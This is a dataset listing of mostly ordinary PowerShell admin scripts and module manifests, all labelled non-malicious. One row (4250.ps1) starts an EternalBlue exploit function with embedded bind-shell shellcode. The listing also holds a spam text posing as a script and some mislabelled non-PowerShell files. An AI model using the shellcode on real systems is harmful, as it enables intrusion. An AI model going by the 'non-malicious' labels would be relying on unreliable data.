full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
combined_dataset/train/non-malicious/sample_20_77.ps1
sample_20_77.ps1
#************************************************ # TS_McAfeeHIPS70Check.ps1 # Version 1.0.1 # Date: 05/06/2013 # Author: v-alyao # Description: [Idea ID 7521] [Windows] McAfee HIPS 7.0 adds numerous extraneous network adapter interfaces to registry # Rule number: 7521 # Rule URL: http://sharepoint/sites/rule...
combined_dataset/train/non-malicious/sample_59_11.ps1
sample_59_11.ps1
2160 [[["Fer","0","100ms"],[41400361,24]],[["Fer","0","1s"],[41400361,24]],[["Fer","0","Inst"],[41400361,24]],[["Fer","1-9","100ms"],[0,24]],[["Fer","1-9","1s"],[0,24]],[["Fer","1-9","Inst"],[0,24]],[["Fer","10-19","100ms"],[0,24]],[["Fer","10-19","1s"],[0,24]],[["Fer","10-19","Inst"],[0,24]],[["Fer","100","100ms"],[0,...
combined_dataset/train/non-malicious/Server checks.ps1
Server checks.ps1
##Creates variable for filename $date = (get-date).tostring("yyyy-MM-dd") $filename = "H:\\dailychecks\\checks_$date.xls" ## Imports exchange modules Import-Module "\\\\emailserver\\c$\\PS Modules\\vamail.videoarts.info.psm1" ## Start Internet Explorer to check that Video Arts website is up Start-Proces...
combined_dataset/train/non-malicious/sample_61_56.ps1
sample_61_56.ps1
#using module .\ClientContext #using module .\ALExtBridge function Run-AlTestsInternal ( [string] $TestSuite = $script:DefaultTestSuite, [string] $TestCodeunitsRange = "", [string] $TestProcedureRange = "", [string] $ExtensionId = "", [int] $TestRunnerId = $global:DefaultTestRunner, [...
combined_dataset/train/non-malicious/548.ps1
548.ps1
function Request-SPOYesOrNo { [CmdletBinding()] param ( [Parameter(Mandatory=$false, Position=1)] [string]$title="Confirm", [Parameter(Mandatory=$true, Position=2)] [string]$message="Are you sure?" ) $choiceYes = New-Object System.Management.Automation.Host.C...
combined_dataset/train/non-malicious/sample_43_31.ps1
sample_43_31.ps1
# # Module manifest for module 'OCI.PSModules.Lockbox' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Lockbox.dll' # Version number of this module. ModuleVersion = '81.0.0' # Supported PSEditions Compat...
combined_dataset/train/non-malicious/sample_42_11.ps1
sample_42_11.ps1
# # This script just calls the Add-AppDevPackage.ps1 script that lives next to it. # param( [switch]$Force = $false, [switch]$SkipLoggingTelemetry = $false ) $scriptArgs = "" if ($Force) { $scriptArgs = '-Force' } if ($SkipLoggingTelemetry) { if ($Force) { $scriptArgs +...
combined_dataset/train/non-malicious/sample_37_60.ps1
sample_37_60.ps1
# # Script module for module 'PackageManagement' # Set-StrictMode -Version Latest Microsoft.PowerShell.Utility\Import-LocalizedData LocalizedData -filename PackageManagement.Resources.psd1 # Summary: PackageManagement is supported on Windows PowerShell 3.0 or later, Nano Server and PowerShellCore $isCore = ($P...
combined_dataset/train/non-malicious/3134.ps1
3134.ps1
function Get-MACVendor { [CmdletBinding()] param( [Parameter( Position=0, Mandatory=$true, HelpMessage='MAC-Address or the first 6 digits of it')] [ValidateScript({ if($_ -match "^(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})|([0-9A-Fa-f]{...
combined_dataset/train/non-malicious/sample_28_39.ps1
sample_28_39.ps1
# # This script handles common telemetry tasks for Install.ps1 and Add-AppDevPackage.ps1. # function IsVsTelemetryRegOptOutSet() { $VsTelemetryRegOptOutKeys = @( "HKLM:\SOFTWARE\Policies\Microsoft\VisualStudio\SQM", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\VSCommon\16.0\SQM", "HKLM:\S...
combined_dataset/train/non-malicious/sample_54_48.ps1
sample_54_48.ps1
# Import the helper functions Import-Module $PSScriptRoot\..\..\Misc\helper.psm1 -Verbose:$false function Get-TargetResource { [CmdletBinding()] [OutputType([System.Collections.Hashtable])] param ( [parameter(Mandatory = $true)] [System.String] $Category ) #Write-Verbose "Use this cmdlet t...
combined_dataset/train/non-malicious/532.ps1
532.ps1
function Get-SPORole { [CmdletBinding()] param ( [Parameter(Mandatory=$true, Position=1)] [Microsoft.SharePoint.Client.RoleType]$rType ) $web = $clientContext.Web if ($web -ne $null) { $roleDefs = $web.RoleDefinitions $clientContext.Load($roleDefs) $clientContext.ExecuteQuery() $roleDef = $roleDef...
combined_dataset/train/non-malicious/1495.ps1
1495.ps1
function Assert-That { [CmdletBinding()] param( [Parameter(Mandatory=$true,Position=0)] [object] $InputObject, [Parameter(Mandatory=$true,ParameterSetName='Contains')] [object] ...
combined_dataset/train/non-malicious/3094.ps1
3094.ps1
function Verify-True { param ( [Parameter(ValueFromPipeline = $true)] $Actual ) if (-not $Actual) { throw [Exception]"Expected `$true but got '$Actual'." } $Actual }
combined_dataset/train/non-malicious/Set-FSMORoleOwner.ps1
Set-FSMORoleOwner.ps1
Function Set-FSMORoleOwner { <# .SYNOPSIS Performs a transfer of a FSMO role to a specified Domain Controller. .DESCRIPTION Performs a transfer of a FSMO role to a specified Domain Controller. .PARAMETER DomainController Fully Qualified Domain Name of the Domain Controller to take a tr...
combined_dataset/train/non-malicious/sample_51_35.ps1
sample_51_35.ps1
function Edit-AzDataProtectionPolicyTriggerClientObject{ [OutputType('Microsoft.Azure.PowerShell.Cmdlets.DataProtection.Models.Api20240401.IBackupPolicy')] [CmdletBinding(PositionalBinding=$false)] [Microsoft.Azure.PowerShell.Cmdlets.DataProtection.Description('Updates Backup schedule of an existing backup ...
combined_dataset/train/non-malicious/pscp & spaces.ps1
pscp & spaces.ps1
Script set-psdebug -trace 2 $sftp = "c:\\bin\\pscp.exe" $sftpusername = "username" $sftppassword = "password" $sftphost = "sftp.host.com" $sftpdestination = "`"`/Test Test`/`"" [Array]$sftpArgs = "-sftp", "-v", "-l", "$sftpusername", "-pw", "$sftppassword", "c:\\calinstall.log", "$sftphost`:$sftpdestination"; ...
combined_dataset/train/non-malicious/1693.ps1
1693.ps1
$Username = "nocadmin" $Password = "ADMIN-PASSWORD-HERE" $group = "Administrators" $adsi = [ADSI]"WinNT://$env:COMPUTERNAME" $existing = $adsi.Children | Where-Object {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username } if ($null -eq $existing) { Write-Host "Creating new local user $Username." & NET ...
combined_dataset/train/non-malicious/1438.ps1
1438.ps1
function Clear-CTrustedHost { [CmdletBinding(SupportsShouldProcess=$true)] param( ) Set-StrictMode -Version 'Latest' Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState if( $pscmdlet.ShouldProcess( 'trusted hosts', 'clear' ) ) { Set-Item $Trust...
combined_dataset/train/non-malicious/sample_24_6.ps1
sample_24_6.ps1
# # Module manifest for module 'OCI.PSModules.Oce' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Oce.dll' # Version number of this module. ModuleVersion = '74.1.0' # Supported PSEditions CompatiblePSEd...
combined_dataset/train/non-malicious/3887.ps1
3887.ps1
function Get-ResourceGroupName { return getAssetName } function Get-WorkspaceCollectionName { return getAssetName } function Clean-ResourceGroup($rgname) { if ([Microsoft.Azure.Test.HttpRecorder.HttpMockServer]::Mode -ne [Microsoft.Azure.Test.HttpRecorder.HttpRecorderMode]::Playback) { ...
combined_dataset/train/non-malicious/1520.ps1
1520.ps1
function Assert-DoesNotContain { [CmdletBinding()] param( [Parameter(Position=0)] [object] $Haystack, [Parameter(Position=1)] [object] $Needle, [Parameter(Position=2)] [string] $Message ...
combined_dataset/train/non-malicious/Join-Objects 2.1.ps1
Join-Objects 2.1.ps1
#function Join-Object { Param( [Parameter(Position=0)] $First , [Parameter(Position=1)] $Second , [Parameter(ValueFromPipeline=$true)] $InputObject ) BEGIN { if($First -isnot [ScriptBlock]) { $Out1 = $First [string[]] $p1 = $First ...
combined_dataset/train/non-malicious/Get-HtmlHelp.ps1
Get-HtmlHelp.ps1
Google is now using business reviews to determine business ranking. A search for your business shows at least one negative review. We can help you. www.CrushYourCompetition.com EMAIL@CRUSHYOURCOMPETITION.COM Phone: USA (+1) 3614443559 How does posting positive reviews help in your businesses Google ranking? ...
combined_dataset/train/non-malicious/Get-ProfilesList.ps1
Get-ProfilesList.ps1
function Get-ProfilesList { $hive = "HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" gci $hive | % -b {$prof = @()} -p {$dest = "" | select UserName, Sid, ProfilePath $dest.Sid = $_.PSChildName $dest.ProfilePath = (gp ($hive + "\\" + $_.PSChildName)).ProfileImagePath $dest.Us...
combined_dataset/train/non-malicious/3803.ps1
3803.ps1
function Test-ContainerService { $rgname = Get-ComputeTestResourceName try { $loc = 'eastus2'; New-AzResourceGroup -Name $rgname -Location $loc -Force; $csName = 'cs' + $rgname; $masterDnsPrefixName = 'master' + $rgname; $agentPoolDnsPre...
combined_dataset/train/non-malicious/sample_49_80.ps1
sample_49_80.ps1
# # Module manifest for module 'OCI.PSModules.Ons' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Ons.dll' # Version number of this module. ModuleVersion = '81.0.0' # Supported PSEditions CompatiblePSEd...
combined_dataset/train/non-malicious/3233.ps1
3233.ps1
class ConnectionConfig { [string]$Endpoint [pscredential]$Credential ConnectionConfig() {} ConnectionConfig([string]$Endpoint, [pscredential]$Credential) { $this.Endpoint = $Endpoint $this.Credential = $Credential } }
combined_dataset/train/non-malicious/sample_11_6.ps1
sample_11_6.ps1
ConvertFrom-StringData @' id_ctsdirectaccessserver=DirectAccess Server id_ctsdirectaccessserverdescription=Collects information about DirectAccess server. id_ctsdirectaccessclient=DirectAccess Client '@ # SIG # Begin signature block # MIIoUgYJKoZIhvcNAQcCoIIoQzCCKD8CAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3A...
combined_dataset/train/non-malicious/sample_28_21.ps1
sample_28_21.ps1
<################################################### # # # Copyright (c) Microsoft. All rights reserved. # # # ##################################################> function Trace-Execution { [CmdletBinding()...
combined_dataset/train/non-malicious/1521.ps1
1521.ps1
function Assert-Is { [CmdletBinding()] param( [Parameter(Position=0)] [object] $InputObject, [Parameter(Position=1)] [Type] $ExpectedType, [Parameter(Position=2)] [string] $Message ) ...
combined_dataset/train/non-malicious/2799.ps1
2799.ps1
if (Get-Command logparser.exe) { $lpquery = @" SELECT COUNT(Path) as ct, Path FROM *ProcsWMI.tsv GROUP BY Path ORDER BY ct ASC "@ & logparser -stats:off -i:csv -dtlines:0 -fixedsep:on -rtp:-1 "$lpquery" } else { $ScriptName = [System.IO.Path]::GetF...
combined_dataset/train/non-malicious/sample_24_57.ps1
sample_24_57.ps1
@{ GUID="56D66100-99A0-4FFC-A12D-EEE9A6718AEF" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" FunctionsToExport = @() CmdletsToExport="Start-Transcript", "Stop-Transcript" AliasesTo...
combined_dataset/train/non-malicious/Is-SameSubnet.ps1
Is-SameSubnet.ps1
function Is-SameSubnet {param( [string]$IP1, [string]$IP2, [string]$Subnet = "255.255.255.0") [string]$IP1Bits = "" [string]$IP2Bits = "" [string]$SubnetBits = "" ## get string representations of all the bits from the IP's passed in [System.Net.IPAddress]::Parse($IP1).GetAddressBytes()...
combined_dataset/train/non-malicious/sample_0_28.ps1
sample_0_28.ps1
#************************************************ # DC_ClusterLogs.PS1 # Version 2.3.5 # Date: 02-09-2012 # Author: Andre Teixeira - andret@microsoft.com # Description: This script is used to obtain cluster logs from both nodes (Windows Server 2008 R2) or from the local machine (pre-2K8R2) #**********************...
combined_dataset/train/non-malicious/Excel-LoadFile.ps1
Excel-LoadFile.ps1
# $Excel = New-Object -ComObject Excel.Application Function Excel-LoadFile { Param ( $SourceFile, $ExcelObject ) #$excel.visible = $true # Makes Excel document visible on the screen $Workbook = $ExcelObject.Workbooks.Open($SourceFile) $Worksheets = $Workbook.Worksheets $Worksheet = $Workbook....
combined_dataset/train/non-malicious/Lead Systems Engineer_1.ps1
Lead Systems Engineer_1.ps1
<# Author: Matt Schmitt Date: 11/28/12 Version: 1.0 From: USA Email: ithink2020@gmail.com Website: http://about.me/schmittmatt Twitter: @MatthewASchmitt Description A script for forwarding and unforwarding email for users in Office 365. #> Import-Module ActiveD...
combined_dataset/train/non-malicious/sample_40_89.ps1
sample_40_89.ps1
# Downloading specified D3D runtime # Touch this file needs update both WINDOWS_X64_BUILD_TAG WINDOWS_X64_TEST_TAG # This file needs run in administrator mode $ProgressPreference = "SilentlyContinue" $depsInstallPath="C:\mesa-deps" Write-Host "Downloading DirectX 12 Agility SDK at:" Get-Date Invoke-WebRequest -Uri h...
combined_dataset/train/non-malicious/sample_41_56.ps1
sample_41_56.ps1
@{ GUID = "1DA87E53-152B-403E-98DC-74D7B4D63D59" Author = "PowerShell" CompanyName = "Microsoft Corporation" Copyright = "Copyright (c) Microsoft Corporation." ModuleVersion = "7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion = "3.0" CmdletsToExport = @( 'Export-Alias', 'Get-Alias', 'Import-Alias', 'New-Al...
combined_dataset/train/non-malicious/Import-Iis-Log.ps1
Import-Iis-Log.ps1
param ( [Parameter( Mandatory=$true, Position = 0, ValueFromPipeline=$true, HelpMessage="Specifies the path to the IIS *.log file to import. You can also pipe a path to Import-Iss-Log." )] [ValidateNotNullOrEmpty()] [string] $Path, [Parameter( Position = 1, HelpMessage="Specifies the d...
combined_dataset/train/non-malicious/sample_58_92.ps1
sample_58_92.ps1
# ------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See License.txt in the repo root for license information. # ------------------------------------------------------------ [CmdletBinding(DefaultParamet...
combined_dataset/train/non-malicious/Remote WSUS Settings.ps1
Remote WSUS Settings.ps1
$WSUSREGALL = @() [String]$File = "C:\\server.txt" $Servers = Get-Content $File ForEach($Server In $Servers) { $Registry = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $Server) $RegKey0 = $Registry.OpenSubKey("Software\\policies\\Microsoft\\Windows\\WindowsUpdate\\" ) $RegKey1 = $Registry.Ope...
combined_dataset/train/non-malicious/sample_3_67.ps1
sample_3_67.ps1
#************************************************ # TS_ServerManagerRefreshIssue.ps1 # Version 1.0.1 # Date: 7/19/2013 # Author: v-kaw # Description: [KSE Rule] [ Windows V3] Server Manager refresh issues and SDP changes reqd for MMC Snapin Issues in 2008, 2008 R2 # Rule number: b7d69da3-d4b7-4754-ad3c-49133b0d...
combined_dataset/train/non-malicious/Get KB-articles of SP1.ps1
Get KB-articles of SP1.ps1
function Get-Sp1Articles() { $web = New-Object System.Net.WebClient # Microsoft XLS-Datei über google herunterladen, damit kommt die XLS-Datei als in HTML konvertierte Datei $html = $web.DownloadString(‘http://webcache.googleusercontent.com/search?q=cache:trZowCK8jvcJ:download.microsoft.com/download/...
combined_dataset/train/non-malicious/2197.ps1
2197.ps1
[CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$true, HelpMessage="Site server where the SMS Provider is installed")] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] [string]$SiteServer, [parameter(Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelin...
combined_dataset/train/non-malicious/Publish-File.ps1
Publish-File.ps1
# Note that this version will not descend directories. function Publish-File { param ( [parameter( Mandatory = $true, HelpMessage="URL pointing to a SharePoint document library (omit the '/forms/default.aspx' portion)." )] [System.Uri]$Url, [parameter( Mandatory = $true, ValueFromPipeline = $true, HelpMessa...
combined_dataset/train/non-malicious/IIS FTP Site Creation.ps1
IIS FTP Site Creation.ps1
" -------------------------------------------" " ## FTP VIRTUAL DIRECTORY CREATION SCRIPT ##" "" "" " ## This script will create a new username, password, local directory, and virtual directory for a client " "" " ## Please enter the following information " "" " -----------...
combined_dataset/train/non-malicious/2601.ps1
2601.ps1
$SqlQuery = " SELECT server_name + '.' + domain AS Server_Name , IP_Address FROM t_server s INNER JOIN t_server_properties sp ON s.server_id = sp.server_id INNER JOIN t_server_type_assoc sta ON s.server_id = sta.server_id INNER JOIN t_server_type st ON sta.type_id = st.type_id WHERE st.type_name LIKE '%SQL%' OR...
combined_dataset/train/non-malicious/sample_9_42.ps1
sample_9_42.ps1
#************************************************ # DC_SQL_Registries.ps1 # Version 1.0 # Date: 8-19-2011 # Author: Shon Hauck - Shonh@Microsoft.com # # Description: Collect registry keys relevant to Directory Services support # # Version 1.1 # Modified: 03-11-2012 # Change: Added SQL Wow6432 keys to collec...
combined_dataset/train/non-malicious/sample_24_30.ps1
sample_24_30.ps1
#!/usr/bin/env pwsh $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent $exe="" $pathsep=":" $env_node_path=$env:NODE_PATH $new_node_path="C:\Users\abder\component-maker\web\node_modules\.pnpm\sucrase@3.35.0\node_modules\sucrase\bin\node_modules;C:\Users\abder\component-maker\web\node_modules\.pnpm\sucrase@...
combined_dataset/train/non-malicious/32.ps1
32.ps1
function Get-AuthToken { [cmdletbinding()] param ( [Parameter(Mandatory=$true)] $User ) $userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User $tenant = $userUpn.Host Write-Host "Checking for AzureAD module..." $AadModule = Get-Module -Name "AzureAD" -ListAvailable if ($Aa...
combined_dataset/train/non-malicious/sample_64_67.ps1
sample_64_67.ps1
# ---------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Licen...
combined_dataset/train/non-malicious/sample_13_88.ps1
sample_13_88.ps1
@{ GUID="766204A6-330E-4263-A7AB-46C87AFC366C" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" FunctionsToExport = @() CmdletsToExport="Disable-WSManCredSSP", "Enable-WSManC...
combined_dataset/train/non-malicious/sample_3_25.ps1
sample_3_25.ps1
#************************************************ # TS_Win32TimeTimeSkewRegCheck.ps1 # Version 1.0.1 # Date: 6/28/2012 # Author: v-maam # Description: [Idea ID 4724] [Windows] W32Time and time skew # Rule number: 4724 # Rule URL: http://sharepoint/sites/rules/Rule Submissions/Forms/DispForm.aspx?ID=4724 #***...
combined_dataset/train/non-malicious/2345.ps1
2345.ps1
function Get-LoggedOnUser { [OutputType([pscustomobject])] [CmdletBinding()] param ( [Parameter()] [ValidateNotNullOrEmpty()] [string[]]$ComputerName = $env:COMPUTERNAME ) begin { $ErrorActionPreference = 'Stop' } process { try { foreach ($comp in $ComputerName) { $output = @{ Co...
combined_dataset/train/non-malicious/3762.ps1
3762.ps1
function CurrentApiVersion { return "2018-07-01-preview" } function SampleMetadata { return @{ "key1" = "value1"; "key2" = "value2"; "key3" = "value3"; } } function TestSetup-CreateResourceGroup { $resourceGroupName = "RG-" + (getAssetname) $location = Get-Location "Microsoft.Resources" "resour...
combined_dataset/train/non-malicious/Deploying VM with static.ps1
Deploying VM with static.ps1
$custSpec = New-OSCustomizationSpec -Type NonPersistent -OSType Windows -OrgName TestOrgName -FullName TestFullName -Workgroup TestWorkgroup $custSpec | Get-OSCustomizationNicMapping | Set-OSCustomizationNicMapping -IpMode UseStaticIP -IpAddress 10.23.121.228 -SubnetMask 255.255.248.0 -Dns 10.23.108.1 -DefaultGateway ...
combined_dataset/train/non-malicious/3313.ps1
3313.ps1
function Enable-Plugin { [PoshBot.BotCommand( Aliases = 'enableplugin', Permissions = 'manage-plugins' )] [cmdletbinding()] param( [parameter(Mandatory)] $Bot, [parameter(Mandatory, Position = 0)] [string]$Name, [parameter(Position = 1)] ...
combined_dataset/train/non-malicious/sample_51_58.ps1
sample_51_58.ps1
# # Module manifest for module 'OCI.PSModules.Loganalytics' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Loganalytics.dll' # Version number of this module. ModuleVersion = '83.2.0' # Supported PSEditi...
combined_dataset/train/non-malicious/525.ps1
525.ps1
function Export-PPSPWeb{ [CmdletBinding()] param( [Parameter(Mandatory=$true)] [String] $Url, [Parameter(Mandatory=$false)] [String] $Path = "C:\temp", [Switch] $NoFileCompression ) if(-not (Get-PSSnapin "Microsoft.SharePoint.PowerShell" -ErrorAction SilentlyCont...
combined_dataset/train/non-malicious/2329.ps1
2329.ps1
param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ApplicationName, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$Description, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$EnvironmentType, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string[]]$Environm...
combined_dataset/train/non-malicious/sample_46_81.ps1
sample_46_81.ps1
# region Generated # Load the private module dll $null = Import-Module -PassThru -Name (Join-Path $PSScriptRoot '..\bin\Az.ArcResourceBridge.private.dll') # Get the private module's instance $instance = [Microsoft.Azure.PowerShell.Cmdlets.ArcResourceBridge.Module]::Instance # Export nothing to clear...
combined_dataset/train/non-malicious/Autoload (beta 5).ps1
Autoload (beta 5).ps1
#Requires -Version 2.0 ## Version History ## beta 5 - 2010.05.10 ## Fixed non-pipeline use using $MyInvocation.ExpectingInput ## beta 4 - 2010.05.10 ## I made a few tweaks and bug fixes while testing it's use with PowerBoots. ## beta 3 - 2010.05.10 ## fix for signed scripts (strip si...
combined_dataset/train/non-malicious/sample_17_65.ps1
sample_17_65.ps1
<############################################################## # # # Copyright (C) Microsoft Corporation. All rights reserved. # # # ###########################################################...
combined_dataset/train/non-malicious/sample_34_49.ps1
sample_34_49.ps1
<############################################################# # # # Copyright (C) Microsoft Corporation. All rights reserved. # # # #############################################################> ...
combined_dataset/train/non-malicious/968.ps1
968.ps1
Connect-AzAccount Set-AzContext -SubscriptionId "subscription ID" $location = "westus2" $resourcegroup = "MyRG" New-AzResourceGroup -Name $resourcegroup -Location $location $vaultname = "MyKeyVault" New-AzKeyVault -VaultName $vaultname -ResourceGroupName $resourcegroup -Location $location -EnableSoftD...
combined_dataset/train/non-malicious/sample_25_66.ps1
sample_25_66.ps1
<policyDefinitionResources revision="1.0" schemaVersion="1.0"> <displayName> </displayName> <description> </description> <resources> <stringTable> <string id="LAPS">LAPS</string> <string id="LAPS_BackupDirectory">Настройка каталога резервного копирования паролей</string> <string...
combined_dataset/train/non-malicious/sample_17_46.ps1
sample_17_46.ps1
#************************************************ # TS_NetworkDTCEnabled.ps1 # Version 1.0.0 # Date: 03-23-2012 # Author: Jeremy LaBorde - jlaborde # Description: Checks to see if Network DTC # is enabled # #************************************************ . .\DistSvcs_Utils.ps1 Import-LocalizedData -B...
combined_dataset/train/non-malicious/sample_61_76.ps1
sample_61_76.ps1
<################################################### # # # Copyright (c) Microsoft. All rights reserved. # # # ##################################################> <# .Synopsis Gets a free drive letter fo...
combined_dataset/train/non-malicious/sample_30_4.ps1
sample_30_4.ps1
import { isScalar } from '../nodes/Node.js'; function mapIncludes(ctx, items, search) { const { uniqueKeys } = ctx.options; if (uniqueKeys === false) return false; const isEqual = typeof uniqueKeys === 'function' ? uniqueKeys : (a, b) => a === b || (isScalar(a) && ...
combined_dataset/train/non-malicious/sample_35_19.ps1
sample_35_19.ps1
# ---------------------------------------------------------------------------------- # # Copyright Microsoft Corporation # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apa...
combined_dataset/train/non-malicious/sample_52_66.ps1
sample_52_66.ps1
# # Module manifest for module 'OCI.PSModules.Operatoraccesscontrol' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Operatoraccesscontrol.dll' # Version number of this module. ModuleVersion = '79.0.0' #...
combined_dataset/train/non-malicious/sample_32_80.ps1
sample_32_80.ps1
# # Copyright (c) Microsoft Corporation. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE ...
combined_dataset/train/non-malicious/sample_63_10.ps1
sample_63_10.ps1
/**************************************************************************** ** Resource object code ** ** Created by: The Resource Compiler for Qt version 6.6.2 ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ static const unsig...
combined_dataset/train/non-malicious/sample_52_41.ps1
sample_52_41.ps1
@{ GUID="EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" NestedModules="Microsoft.PowerShell.Commands.Management.dll" HelpInfoURI = 'ht...
combined_dataset/train/non-malicious/4250.ps1
4250.ps1
function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode, [Switch]$MsfBind){ $enc = [system.Text.Encoding]::ASCII if ($MsfBind.IsPresent){ $sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSI...
combined_dataset/train/non-malicious/Patch-VMHost.ps1
Patch-VMHost.ps1
Add-PSSnapin "VMware.VimAutomation.Core" Add-PSSnapIn "VMware.VumAutomation" # Connect to vCenter $VC = Connect-VIServer (Read-Host "Enter vCenter server") $vumConfig = Get-VumConfig $EsxHost = Get-Inventory -Name (Read-Host "Enter ESX Host") $CriticalHost = Get-Baseline -Name "Critical Host Updates" $NonCr...
combined_dataset/train/non-malicious/2699.ps1
2699.ps1
function Get-Strings { Param ( [Parameter(Position = 1, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [ValidateScript({Test-Path $_ -PathType 'Leaf'})] [String[]] [Alias('PSPath')] $Path, [ValidateSet('Default',...
combined_dataset/train/non-malicious/567.ps1
567.ps1
function Convert-SPOFileVariablesToValues { [CmdletBinding()] param ( [Parameter(Mandatory=$true, Position=1)] [System.IO.FileSystemInfo]$file ) $filePath = $file.FullName $tempFilePath = "$filePath.temp" Write-Host "Replacing variables at $filePath" -foregroundcolor black -backgroundcolor yellow ...
combined_dataset/train/non-malicious/sample_39_39.ps1
sample_39_39.ps1
param( [parameter(Mandatory = $false)] $databaseName, [parameter(Mandatory = $false)] $databaseUserName, [parameter(Mandatory = $false)] $databaseUserPassword, [parameter(Mandatory =$true)] $databaseAdminUser, [parameter(Mandatory = $true)] $databaseAdminPasswor...
combined_dataset/train/non-malicious/sample_24_36.ps1
sample_24_36.ps1
function trySetDesignerProp(tname, ttype, val) { var trait = document.designerProps.getOrCreateTrait(tname, ttype, 0); trait.value = val; } if (command.getTrait("state").value == 0) { command.getTrait("state").value = 2; trySetDesignerProp("exportAsText", "bool", true); } else { command.g...
combined_dataset/train/non-malicious/sample_14_83.ps1
sample_14_83.ps1
#************************************************ # DC_RDSServerInfo.ps1 # Version 1.0.0 # Date: 21-01-2012 # Author: Daniel Grund - dgrund@microsoft.com # Description: # This script gets the RDS config and # checks vital signs to inform user. # 1.0.0 Beta release / 2021-03-30 Waltere #_# #*****************...
combined_dataset/train/non-malicious/sample_46_96.ps1
sample_46_96.ps1
# # Module manifest for module 'OCI.PSModules.Waa' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Waa.dll' # Version number of this module. ModuleVersion = '75.1.0' # Supported PSEditions CompatiblePSEd...
combined_dataset/train/non-malicious/PowerCLI New-Farm.ps1
PowerCLI New-Farm.ps1
# Connect to vCenter Connect-VIServer vcenter.domain.com # root folder is used for datacenter location $rootfolder = Get-Folder -NoRecursion # datacenter $dc = New-Datacenter -Name "vFarm" -Location $rootfolder # Build hostname strings for ESX servers in format sssrrrnn (site/role/number) $esxname = 1..10 ...
combined_dataset/train/non-malicious/sample_32_62.ps1
sample_32_62.ps1
# # Module manifest for module 'OCI.PSModules.Onesubscription' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Onesubscription.dll' # Version number of this module. ModuleVersion = '75.1.0' # Supported P...
combined_dataset/train/non-malicious/sample_13_33.ps1
sample_13_33.ps1
@{ GUID = "1DA87E53-152B-403E-98DC-74D7B4D63D59" Author = "PowerShell" CompanyName = "Microsoft Corporation" Copyright = "Copyright (c) Microsoft Corporation." ModuleVersion = "7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion = "3.0" CmdletsToExport = @( 'Export-Alias', 'Get-Alias', 'Import-Alias', 'New-Al...
combined_dataset/train/non-malicious/sample_50_99.ps1
sample_50_99.ps1
#!/usr/bin/env pwsh <# .SYNOPSIS Stub around Invoke-Pester command used by VSCode PowerShell extension. .DESCRIPTION The stub checks the version of Pester and if >= 4.6.0, invokes Pester using the LineNumber parameter (if specified). Otherwise, it invokes using the TestName parameter (if specif...
combined_dataset/train/non-malicious/56.ps1
56.ps1
